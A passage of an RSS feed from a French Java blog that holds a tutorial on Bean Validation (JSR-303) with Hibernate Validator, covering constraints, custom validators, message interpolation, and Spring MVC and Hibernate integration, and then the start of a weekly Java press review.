<tr>
<td style="border: 1px solid black"><code>@AssertFalse</code></td>
<td style="border: 1px solid black">L'élément doit être <code>false</code></td>
<td style="border: 1px solid black"><code>boolean</code>, <code>Boolean</code></td>
</tr>
<tr>
<td style="border: 1px solid black"><code>@Min</code></td>
<td style="border: 1px solid black">L'élément doit être supérieur à la valeur spécifiée dans l'annotation</td>
<td style="border: 1px solid black"><code>BigDecimal</code>, <code>BigInteger</code>, <code>byte</code>, <code>short</code>, <code>int</code>, <code>long</code></td>
</tr>
<tr>
<td style="border: 1px solid black"><code>@Max</code></td>
<td style="border: 1px solid black">L'élément doit être inférieur à la valeur spécifiée dans l'annotation</td>
<td style="border: 1px solid black"><code>BigDecimal</code>, <code>BigInteger</code>, <code>byte</code>, <code>short</code>, <code>int</code>, <code>long</code></td>
</tr>
<tr>
<td style="border: 1px solid black"><code>@DecimalMin</code></td>
<td style="border: 1px solid black">L'élément doit être supérieur à la valeur spécifiée dans l'annotation</td>
<td style="border: 1px solid black"><code>BigDecimal</code>, <code>BigInteger</code>, <code>String</code>, <code>byte</code>, <code>short</code>, <code>int</code>, <code>long</code></td>
</tr>
<tr>
<td style="border: 1px solid black"><code>@DecimalMax</code></td>
<td style="border: 1px solid black">L'élément doit être inférieur à la valeur spécifiée dans l'annotation</td>
<td style="border: 1px solid black"><code>BigDecimal</code>, <code>BigInteger</code>, <code>String</code>, <code>byte</code>, <code>short</code>, <code>int</code>, <code>long</code></td>
</tr>
<tr>
<td style="border: 1px solid black"><code>@Size</code></td>
<td style="border: 1px solid black">L'élément doit être entre deux tailles spécifiées</td>
<td style="border: 1px solid black"><code>String</code>, <code>Collection</code>, <code>Map</code>, <code>Array</code></td>
</tr>
<tr>
<td style="border: 1px solid black"><code>@Digits</code></td>
<td style="border: 1px solid black">L'élément doit être un nombre compris dans une certaine fenêtre</td>
<td style="border: 1px solid black"><code>BigDecimal</code>, <code>BigInteger</code>, <code>String</code>, <code>byte</code>, <code>short</code>, <code>int</code>, <code>long</code></td>
</tr>
<tr>
<td style="border: 1px solid black"><code>@Past</code></td>
<td style="border: 1px solid black">L'élément doit être une date dans le passé</td>
<td style="border: 1px solid black"><code>Date</code>, <code>Calendar</code></td>
</tr>
<tr>
<td style="border: 1px solid black"><code>@Future</code></td>
<td style="border: 1px solid black">L'élément doit être une date dans le futur</td>
<td style="border: 1px solid black"><code>Date</code>, <code>Calendar</code></td>
</tr>
<tr>
<td style="border: 1px solid black"><code>@Pattern</code></td>
<td style="border: 1px solid black">L'élément doit respecter une expression régulière</td>
<td style="border: 1px solid black"><code>String</code></td>
</tr>
</table>
<p>Hibernate Validator ajoute des contraintes intéressantes : <code>@CreditCardNumber</code>, <code>@Email</code>, <code>@NotBlank</code>, <code>@NotEmpty</code>, <code>@Range</code>, <code>@ScriptAssert</code>, <code>@URL</code>. <code>@ScriptAssert</code> est sans doute la plus complexe à mettre en place, elle s'appuie sur la JSR-223 qui fournit une API pour introduire les langages de script, plus de détails <a href="http://musingsofaprogrammingaddict.blogspot.com/2010/06/whats-new-in-hibernate-validator-41.html" title="ici" >ici</a>.</p>
<h4><a name="Servicedevalidation"></a>Service de validation</h4>
<p>Pour valider ses entités il faut se munir tout naturellement d'un validateur, on passe pour cela par une <em>factory</em> fournie par l'API standard ( <code>javax.validator</code> ) :</p>
<div class="syntax_hilite">
<div id="java-18">
<div class="java">ValidatorFactory factory = Validation.<span style="color: #006600;">buildDefaultValidatorFactory</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;</p>
<p>Validator validator = factory.<span style="color: #006600;">getValidator</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;</div>
</div>
</div>
<p>
Pour récupérer l'implémentation du validateur, l'API utilise le <a href="http://java.sun.com/j2se/1.3/docs/guide/jar/jar.html#Service%20Provider" title="Service Provider" ><em>Service Provider</em></a> de Java. Son fonctionnement est assez simple. Dans le jar contenant l'implémentation il faut ajouter dans le répertoire <code>META-INF/services</code> un fichier nommé <code>javax.validation.spi.ValidationProvider</code> qui contient le nom de la classe implémentant l'interface <code>ValidationProvider</code>. Pour Hibernate Validator il s'agit de la classe <code>HibernateValidator</code>.</p>
<p>Donc pour résumer, il n'y a pas de configuration à faire pour spécifier que Hibernate Validator fournira le <code>Validator</code>, il suffit juste d'ajouter le jar, sauf s'il existe d'autres implémentations de l'API de validation. Dans ce dernier cas, et si on veut être sûr d'utiliser Hibernate Validator, il est possible de définir le provider explicitement :</p>
<div class="syntax_hilite">
<div id="java-19">
<div class="java">ValidatorFactory factory = Validation.<span style="color: #006600;">byProvider</span><span style="color: #66cc66;">&#40;</span>HibernateValidator.<span style="color: #000000; font-weight: bold;">class</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">configure</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">buildValidatorFactory</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;</div>
</div>
</div>
<p>
Ensuite on passe à la validation de nos entités :</p>
<div class="syntax_hilite">
<div id="java-20">
<div class="java">Set&lt;ConstraintViolation&lt;Voiture&gt;&gt; constraintViolations = validator.<span style="color: #006600;">validate</span><span style="color: #66cc66;">&#40;</span>voiture<span style="color: #66cc66;">&#41;</span>;</div>
</div>
</div>
<p>
On introduit ici l'objet <code>ConstraintViolation</code>, très riche en informations sur les raisons de la non validation d'un élément. C'est cet objet qui va par exemple nous permettre de nous fournir le message associé à l'erreur. Les méthodes de cette classe :</p>
<table cellspacing="0" cellpadding="5" style="border: 1px solid black">
<tr>
<td bgcolor="#663366" style="color: #ffffff; border: 1px solid black"><strong>méthode</strong></td>
<td bgcolor="#663366" style="color: #ffffff; border: 1px solid black"><strong>description</strong></td>
</tr>
<tr>
<td style="border: 1px solid black"><code>getMessage()</code></td>
<td style="border: 1px solid black">Récupère le message interpolé</td>
</tr>
<tr>
<td style="border: 1px solid black"><code>getMessageTemplate()</code></td>
<td style="border: 1px solid black">Récupère le message non-interpolé</td>
</tr>
<tr>
<td style="border: 1px solid black"><code>getRootBean()</code></td>
<td style="border: 1px solid black">L'objet racine non valide</td>
</tr>
<tr>
<td style="border: 1px solid black"><code>getLeafBean()</code></td>
<td style="border: 1px solid black">Dans le cas où l'objet à valider contient un autre objet qui se trouve être non valide, ce dernier sera retourné</td>
</tr>
<tr>
<td style="border: 1px solid black"><code>getRootBeanClass()</code></td>
<td style="border: 1px solid black">La classe de l'objet non valide</td>
</tr>
<tr>
<td style="border: 1px solid black"><code>getPropertyPath()</code></td>
<td style="border: 1px solid black">La propriété de l'entité qui n'est pas valide</td>
</tr>
<tr>
<td style="border: 1px solid black"><code>getInvalidValue()</code></td>
<td style="border: 1px solid black">La valeur erronée</td>
</tr>
<tr>
<td style="border: 1px solid black"><code>getConstraintDescriptor()</code></td>
<td style="border: 1px solid black">Un objet contenant des informations sur la contrainte elle-même</td>
</tr>
</table>
<p>C'est l'occasion de remarquer que l'API de validation propose une gestion interne des ressources, on peut soit récupérer le message directement associé à une propriété ( <code>getMessage()</code> ) soit la clé ( <code>getMessageTemplate()</code> ). Dans le chapitre suivant on détaillera davantage la gestion des ressources.</p>
<p>On peut aussi avoir besoin de ne valider qu'une sous partie des contraintes d'une entité ou de rassembler plusieurs des contraintes de plusieurs entités. L'attribut <code>groups</code> des annotations de contraintes sert à ça. Elle contient une interface (ou une classe, ce qui est moins recommandé) qui sera commune aux contraintes:</p>
<div class="syntax_hilite">
<div id="java-21">
<div class="java"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> Facture <span style="color: #66cc66;">&#123;</span><br />
&nbsp; &nbsp; @Past<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">private</span> <a href="http://www.google.com/search?q=allinurl%3ADate+java.sun.com&amp;bntl=1"><span style="color: #aaaadd; font-weight: bold;">Date</span></a> dateCommande;</p>
<p>&nbsp; &nbsp; @NotNull<span style="color: #66cc66;">&#40;</span>groups=PaiementCheck.<span style="color: #000000; font-weight: bold;">class</span><span style="color: #66cc66;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">private</span> <a href="http://www.google.com/search?q=allinurl%3AString+java.sun.com&amp;bntl=1"><span style="color: #aaaadd; font-weight: bold;">String</span></a> nomBanque;</p>
<p>&nbsp; &nbsp; @CreditCardNumber<span style="color: #66cc66;">&#40;</span>groups=PaiementCheck.<span style="color: #000000; font-weight: bold;">class</span><span style="color: #66cc66;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">private</span> <a href="http://www.google.com/search?q=allinurl%3AString+java.sun.com&amp;bntl=1"><span style="color: #aaaadd; font-weight: bold;">String</span></a> creditCardNumber;<br />
<span style="color: #66cc66;">&#125;</span></p>
<p><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">interface</span> PaiementCheck <span style="color: #66cc66;">&#123;</span><span style="color: #66cc66;">&#125;</span></p>
<p>...<br />
&nbsp; &nbsp; <span style="color: #006600;">validator</span>.<span style="color: #006600;">validate</span><span style="color: #66cc66;">&#40;</span>facture, PaiementCheck.<span style="color: #000000; font-weight: bold;">class</span><span style="color: #66cc66;">&#41;</span>;<br />
...</div>
</div>
</div>
<p></p>
<h4><a name="Gestiondesressources"></a>Gestion des ressources</h4>
<p>A chaque type de contrainte est associé une clé, elle même liée à une propriété. Toutes les contraintes de base ont des messages déjà définis et Hibernate Validator propose même les traductions françaises. Ce message peut être surchargé directement au niveau de la contrainte:</p>
<div class="syntax_hilite">
<div id="java-22">
<div class="java">@Min<span style="color: #66cc66;">&#40;</span>message=<span style="color: #ff0000;">"ce champ doit être supérieur à {value}"</span><span style="color: #66cc66;">&#41;</span></div>
</div>
</div>
<p>
Grâce aux accolades, on peut accéder aux données de l'annotation (dans cet exemple à la valeur minimale). On peut <em>échapper</em> les accolades avec .</p>
<p>Les propriétés sont résolues par l'intermédiaire de l'interface <code>MessageInterpolator</code> qui, par défaut, va chercher un fichier <code>ValidationMessages.properties</code> à la racine du classpath. S'il n'en trouve pas à la racine il ira chercher celui dans le package <code>org.hibernate.validator</code>. On peut donc ainsi, facilement surcharger les propriétés de Hibernate Validator.</p>
<p>Il est possible d'utiliser ses propres <em>resource bundles</em> si on veut par exemple utiliser d'autres fichiers properties, ou les stocker ailleurs que dans le classpath. Pour cela il faut surcharger l'implémentation de <code>ResourceBundleLocator</code>. Ci-dessous, un exemple tiré de la <a href="http://docs.jboss.org/hibernate/stable/validator/reference/en-US/html_single/#example-resource-bundle-locator" title="documentation" >documentation</a>:</p>
<div class="syntax_hilite">
<div id="java-23">
<div class="java">HibernateValidatorConfiguration configure = Validation.<span style="color: #006600;">byProvider</span><span style="color: #66cc66;">&#40;</span>HibernateValidator.<span style="color: #000000; font-weight: bold;">class</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">configure</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;</p>
<p>ResourceBundleLocator defaultResourceBundleLocator = configure.<span style="color: #006600;">getDefaultResourceBundleLocator</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;<br />
ResourceBundleLocator myResourceBundleLocator = <span style="color: #000000; font-weight: bold;">new</span> MyCustomResourceBundleLocator<span style="color: #66cc66;">&#40;</span>defaultResourceBundleLocator<span style="color: #66cc66;">&#41;</span>;</p>
<p>configure.<span style="color: #006600;">messageInterpolator</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> ResourceBundleMessageInterpolator<span style="color: #66cc66;">&#40;</span>myResourceBundleLocator<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;</div>
</div>
</div>
<p>
A un plus haut niveau, on peut également ne pas passer par des <em>resource bundles</em> mais implémenter sa propre stratégie pour, par exemple, accéder à une base de données. Pour cela il faut fournir une implémentation de l'interface <code>MessageInterpolator</code>.</p>
<div class="syntax_hilite">
<div id="java-24">
<div class="java">Configuration&lt;?&gt; configuration = Validation.<span style="color: #006600;">byDefaultProvider</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">configure</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;</p>
<p>ValidatorFactory factory = configuration<br />
&nbsp; &nbsp;.<span style="color: #006600;">messageInterpolator</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> MyMessageInterpolator<span style="color: #66cc66;">&#40;</span>configuration.<span style="color: #006600;">getDefaultMessageInterpolator</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><br />
&nbsp; &nbsp;.<span style="color: #006600;">buildValidatorFactory</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;</p>
<p>Validator validator = factory.<span style="color: #006600;">getValidator</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;</div>
</div>
</div>
<p>
<code>MyMessageInterpolator</code> implémente donc <code>MessageInterpolator</code> qui a deux méthodes:</p>
<div class="syntax_hilite">
<div id="java-25">
<div class="java"><a href="http://www.google.com/search?q=allinurl%3AString+java.sun.com&amp;bntl=1"><span style="color: #aaaadd; font-weight: bold;">String</span></a> interpolate<span style="color: #66cc66;">&#40;</span><a href="http://www.google.com/search?q=allinurl%3AString+java.sun.com&amp;bntl=1"><span style="color: #aaaadd; font-weight: bold;">String</span></a> messageTemplate, <a href="http://www.google.com/search?q=allinurl%3AContext+java.sun.com&amp;bntl=1"><span style="color: #aaaadd; font-weight: bold;">Context</span></a> context<span style="color: #66cc66;">&#41;</span>;<br />
<a href="http://www.google.com/search?q=allinurl%3AString+java.sun.com&amp;bntl=1"><span style="color: #aaaadd; font-weight: bold;">String</span></a> interpolate<span style="color: #66cc66;">&#40;</span><a href="http://www.google.com/search?q=allinurl%3AString+java.sun.com&amp;bntl=1"><span style="color: #aaaadd; font-weight: bold;">String</span></a> messageTemplate, <a href="http://www.google.com/search?q=allinurl%3AContext+java.sun.com&amp;bntl=1"><span style="color: #aaaadd; font-weight: bold;">Context</span></a> context,&nbsp; <a href="http://www.google.com/search?q=allinurl%3ALocale+java.sun.com&amp;bntl=1"><span style="color: #aaaadd; font-weight: bold;">Locale</span></a> locale<span style="color: #66cc66;">&#41;</span>;</div>
</div>
</div>
<p>
<code>messageTemplate</code> étant la clé de la contrainte et <code>context</code> contient des informations sur cette contrainte. Libre ensuite au développeur d'associer la ressource correspondante comme il veut.</p>
<h4><a name="Dfinirsaproprecontrainte"></a>Définir sa propre contrainte</h4>
<p>Il est possible de créer sa propre contrainte, pour cela on passe par 3 étapes:</p>
<ul>
<li>créer l'annotation</li>
<li>implémenter le validateur</li>
<li>définir le message d'erreur</li>
</ul>
<p>Nous allons faire un validateur pour les plaques d'immatriculation et vérifier qu'elles appartiennent à un département donné (il s'agira des anciennes normes, par exemple 123-ABC-93, pas des nouvelles normes européennes). Commençons par l'annotation&nbsp;:</p>
<div class="syntax_hilite">
<div id="java-26">
<div class="java">@Target<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#123;</span>METHOD,FIELD,ANNOTATION_TYPE<span style="color: #66cc66;">&#125;</span><span style="color: #66cc66;">&#41;</span><br />
@Retention<span style="color: #66cc66;">&#40;</span>RUNTIME<span style="color: #66cc66;">&#41;</span><br />
@Constraint<span style="color: #66cc66;">&#40;</span>validatedBy=ImmaticulationValidator.<span style="color: #000000; font-weight: bold;">class</span><span style="color: #66cc66;">&#41;</span><br />
@Documented<br />
<span style="color: #000000; font-weight: bold;">public</span> @<span style="color: #000000; font-weight: bold;">interface</span> CheckImmatriculation <span style="color: #66cc66;">&#123;</span></p>
<p>&nbsp; &nbsp;<a href="http://www.google.com/search?q=allinurl%3AString+java.sun.com&amp;bntl=1"><span style="color: #aaaadd; font-weight: bold;">String</span></a> message<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> default <span style="color: #ff0000;">"{fr.xebia.constraints.checkimmatriculation}"</span>;</p>
<p>&nbsp; &nbsp;Class&lt;?&gt;<span style="color: #66cc66;">&#91;</span><span style="color: #66cc66;">&#93;</span> groups<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> default <span style="color: #66cc66;">&#123;</span><span style="color: #66cc66;">&#125;</span>;</p>
<p>&nbsp; &nbsp;Class&lt;? <span style="color: #000000; font-weight: bold;">extends</span> Payload&gt;<span style="color: #66cc66;">&#91;</span><span style="color: #66cc66;">&#93;</span> payload<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> default <span style="color: #66cc66;">&#123;</span><span style="color: #66cc66;">&#125;</span>;</p>
<p>&nbsp; &nbsp;<a href="http://www.google.com/search?q=allinurl%3AString+java.sun.com&amp;bntl=1"><span style="color: #aaaadd; font-weight: bold;">String</span></a> departement<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;<br />
<span style="color: #66cc66;">&#125;</span></div>
</div>
</div>
<p>
On voit apparaître la notion de <code>Payload</code>, elle peut être utilisée pour enrichir les informations sur cette contrainte. L'exemple proposé en général est le cas où on veut ajouter un niveau de sévérité à une contrainte. On peut récupérer la classe associée dans la description de la contrainte : <code>ConstraintViolation.getConstraintDescriptor().getPayload()</code>.</p>
<p>On écrit ensuite le validateur associé :</p>
<div class="syntax_hilite">
<div id="java-27">
<div class="java"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> ImmaticulationValidator <span style="color: #000000; font-weight: bold;">implements</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;ConstraintValidator&lt;CheckImmatriculation, String&gt; <span style="color: #66cc66;">&#123;</span></p>
<p>&nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">private</span> <a href="http://www.google.com/search?q=allinurl%3AString+java.sun.com&amp;bntl=1"><span style="color: #aaaadd; font-weight: bold;">String</span></a> departement;</p>
<p>&nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #993333;">void</span> initialize<span style="color: #66cc66;">&#40;</span>CheckImmatriculation constraintAnnotation<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;departement = constraintAnnotation.<span style="color: #006600;">departement</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;<br />
&nbsp; &nbsp;<span style="color: #66cc66;">&#125;</span></p>
<p>&nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #993333;">boolean</span> isValid<span style="color: #66cc66;">&#40;</span><a href="http://www.google.com/search?q=allinurl%3AString+java.sun.com&amp;bntl=1"><span style="color: #aaaadd; font-weight: bold;">String</span></a> value, ConstraintValidatorContext context<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>!Pattern.<span style="color: #006600;">matches</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">"<br />
d{1,3}-[a-zA-Z]{2,3}-<br />
d{2}"</span>, value<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">return</span> <span style="color: #000000; font-weight: bold;">false</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #66cc66;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #808080; font-style: italic;">// On récupère le département donné</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;<a href="http://www.google.com/search?q=allinurl%3AString+java.sun.com&amp;bntl=1"><span style="color: #aaaadd; font-weight: bold;">String</span></a> d = value.<span style="color: #006600;">substring</span><span style="color: #66cc66;">&#40;</span>value.<span style="color: #006600;">length</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> - <span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">return</span> departement.<span style="color: #006600;">equals</span><span style="color: #66cc66;">&#40;</span>d<span style="color: #66cc66;">&#41;</span>;<br />
&nbsp; &nbsp;<span style="color: #66cc66;">&#125;</span></p>
<p><span style="color: #66cc66;">&#125;</span></div>
</div>
</div>
<p>
Enfin on doit ajouter le message qui sera retourné en cas d'erreur dans le fichier de <em>properties</em> <code>ValidationMessages.properties</code> comme vu précédemment. On peut par exemple afficher le département attendu:</p>
<div class="syntax_hilite">
<div id="java-28">
<div class="java">fr.<span style="color: #006600;">xebia</span>.<span style="color: #006600;">constraints</span>.<span style="color: #006600;">checkimmatriculation</span>=Le département doit être <span style="color: #66cc66;">&#123;</span>departement<span style="color: #66cc66;">&#125;</span>.</div>
</div>
</div>
<p></p>
<h3><a name="SpringSpringMVC"></a>Spring/SpringMVC</h3>
<p>Depuis la version 3.0 de Spring MVC la JSR-303 est complètement supportée. Tout est donc grandement facilité et valider un formulaire devient quasiment immédiat. On peut résumer la procédure à l'ajout de l'annotation <code>@Valid</code> dans la requête POST de soumission du formulaire:</p>
<div class="syntax_hilite">
<div id="java-29">
<div class="java"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #993333;">void</span> submitVoiture<span style="color: #66cc66;">&#40;</span>@Valid VoitureForm voiture, , Errors errors<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span><br />
&nbsp; &nbsp; &nbsp;logger.<span style="color: #006600;">info</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">"Nombre d'erreur"</span>+errors.<span style="color: #006600;">getErrorCount</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp;...<br />
<span style="color: #66cc66;">&#125;</span></div>
</div>
</div>
<p>
Les contraintes non validées seront automatiquement injectées dans <code>errors</code> et donc accessibles dans la vue :</p>
<div class="syntax_hilite">
<div id="java-30">
<div class="java">&lt;form:form action=<span style="color: #ff0000;">"edit"</span> modelAndAttribute=<span style="color: #ff0000;">"voiture"</span>&gt;<br />
&nbsp; &nbsp; &lt;form:errors path=<span style="color: #ff0000;">"*"</span>/&gt;<br />
&nbsp; &nbsp; &lt;form:input path=<span style="color: #ff0000;">"immatriculation"</span>/&gt;<br />
&nbsp; &nbsp; ...<br />
&nbsp; &nbsp; &lt;input type=<span style="color: #ff0000;">"submit"</span>/&gt;<br />
&lt;/form:form&gt;</div>
</div>
</div>
<p>
Outre <em>Spring MVC</em>, de plus en plus de frameworks de présentation adoptent la JSR-303, remplaçant leurs anciens codes spécifiques par ce nouveau standard. Naturellement JSF 2.0 l'utilise mais on peut aussi citer <a href="http://yeswicket.com/index.php?post/2010/02/24/Wicket-JSR-303-Validators" title="Wicket" >Wicket</a> ou <a href="http://blog.tapestry5.de/index.php/2010/01/04/tapestry-and-jsr-303-bean-validation-api/" title="Tapestry" >Tapestry</a>.</p>
<h3><a name="Hibernate"></a>Hibernate</h3>
<p>Nous avons vu qu'il était possible de valider programmatiquement une entité. Néanmoins, on peut vouloir être encore plus prudent et empêcher les opérations de persistance si une contrainte est violée. Hibernate propose <a href="http://docs.jboss.org/hibernate/annotations/3.5/reference/en/html/additionalmodules.html#d0e3875" title="un mcanisme" >un mécanisme</a> de <em>listeners</em> sur les événements <code>insert</code>, <code>update</code> et <code>remove</code>. Voici un exemple de configuration possible:</p>
<div class="syntax_hilite">
<div id="java-31">
<div class="java">&lt;persistence ...&gt;<br />
&nbsp; &lt;persistence-unit ...&gt;<br />
&nbsp; &nbsp; ...<br />
&nbsp; &nbsp; &lt;properties&gt;<br />
&nbsp; &nbsp; &nbsp; &lt;property name=<span style="color: #ff0000;">"javax.persistence.validation.mode"</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; value=<span style="color: #ff0000;">"callback, ddl"</span>/&gt;<br />
&nbsp; &nbsp; &lt;/properties&gt;<br />
&nbsp; &lt;/persistence-unit&gt;<br />
&lt;/persistence&gt;</div>
</div>
</div>
<p>
Il existe plusieurs modes: <code>none</code>, <code>auto</code> (s'il n'y a aucun jar de validation, il n'y aura pas de validation), <code>callback</code> (s'il n'y a aucun jar une exception est lancée au démarrage), <code>ddl</code>. Cette dernière permet de générer le schéma de base avec les contraintes définies dans l'entité.</p>
<p>Il est possible de différencier les comportements selon le type d'opération:</p>
<div class="syntax_hilite">
<div id="java-32">
<div class="java">&lt;persistence ...&gt;<br />
&nbsp; &lt;persistence-unit ...&gt;<br />
&nbsp; &nbsp; ...<br />
&nbsp; &nbsp; &lt;properties&gt;<br />
&nbsp; &nbsp; &nbsp; &lt;property name=<span style="color: #ff0000;">"javax.persistence.validation.group.pre-update"</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; value=<span style="color: #ff0000;">"javax.validation.group.Default, com.acme.group.Strict"</span>/&gt;<br />
&nbsp; &nbsp; &nbsp; &lt;property name=<span style="color: #ff0000;">"javax.persistence.validation.group.pre-remove"</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; value=<span style="color: #ff0000;">"com.acme.group.OnDelete"</span>/&gt;<br />
&nbsp; &nbsp; &nbsp; &lt;property name=<span style="color: #ff0000;">"org.hibernate.validator.group.ddl"</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; value=<span style="color: #ff0000;">"com.acme.group.DDL"</span>/&gt;<br />
&nbsp; &nbsp; &lt;/properties&gt;<br />
&nbsp; &lt;/persistence-unit&gt;<br />
&lt;/persistence&gt;</div>
</div>
</div>
<p>
En cas de violation d'une contrainte une exception de type <code>ConstraintViolationException</code> est lancée, éventuellement englobée dans une exception <code>RollbackException</code> en mode transactionnel. Cette exception contient la liste des <code>ConstraintViolation</code> de l'API Bean Validation vue plus haut.</p>
<p>Une fonctionnalité de l'API encore non évoquée, mais qui rejoint les problématiques souvent rencontrées dans Hibernate, est la notion de <em>traversabilité</em>, formalisée par l'interface <code>TraversableResolver</code>. Celle-ci contient deux méthodes <em>isReachable</em> et <em>isCascadable</em> qui peuvent permettre dans certains cas de désactiver une validation d'un <em>sous-objet</em>. Cela peut permettre lorsqu'on manipule des objets en <em>lazy loading</em>, de préserver ce <em>non-chargement</em>.</p>
<h3><a name="Conclusion"></a>Conclusion</h3>
<p><em>Bean Validation</em> impressionne par sa vision complète des problématiques de validation, peu de cas semblent avoir été ignorés ou oubliés, et dans le cas contraire l'API est suffisamment souple pour pouvoir être étendue proprement. Certains regretteront peut-être qu'il n'y ait pas plus de contraintes pré-définies, mais il est extrêmement difficile de définir des contraintes universelles et ajouter sa propre contrainte est vraiment facile.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.xebia.fr/2010/07/15/bean-validation/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Revue de Presse Xebia</title>
		<link>http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/</link>
		<comments>http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#comments</comments>
		<pubDate>Tue, 29 Jun 2010 05:50:07 +0000</pubDate>
		<dc:creator>Xebia France</dc:creator>
				<category><![CDATA[Revue de presse]]></category>
		<category><![CDATA[Eclipse]]></category>
		<category><![CDATA[Gorm]]></category>
		<category><![CDATA[Grails]]></category>
		<category><![CDATA[Groovy]]></category>
		<category><![CDATA[MuleSoft]]></category>
		<category><![CDATA[Performance]]></category>
		<category><![CDATA[Spring]]></category>
		<category><![CDATA[Tomcat]]></category>
		<category><![CDATA[Tomcat Stats]]></category>

		<guid isPermaLink="false">http://blog.xebia.fr/?p=4971</guid>
		<description><![CDATA[
La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.
Outils

Helios, Eclipse 3.6

SOA

Tomcat Stats: administrer Tomcat depuis son iPhone

Le coin de la  technique

Articles sur Groovy/Spring et Grails/Hibernate
Un nouveau top 10 orienté performance

Agilité

Happy birthday Post-It !

Outils
Helios, Eclipse 3.6
Après avoir épuisé les principales lunes de Jupiter (Callisto, Europa, Ganymède, Galileo), voici venu le tour d'Helios pour [...]]]></description>
			<content:encoded><![CDATA[<p><img style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /><br />
<em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p>
<p><strong>Outils</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#HeliosEclipse">Helios, Eclipse 3.6</a></li>
</ul>
<p><strong>SOA</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#SortiedeTomcatStatsladministra">Tomcat Stats: administrer Tomcat depuis son iPhone</a></li>
</ul>
<p><strong>Le coin de la  technique</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#ArticlessurGroovySpringetGrail">Articles sur Groovy/Spring et Grails/Hibernate</a></li>
<li><a href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#Unnouveautoporientperformance">Un nouveau top 10 orienté performance</a></li>
</ul>
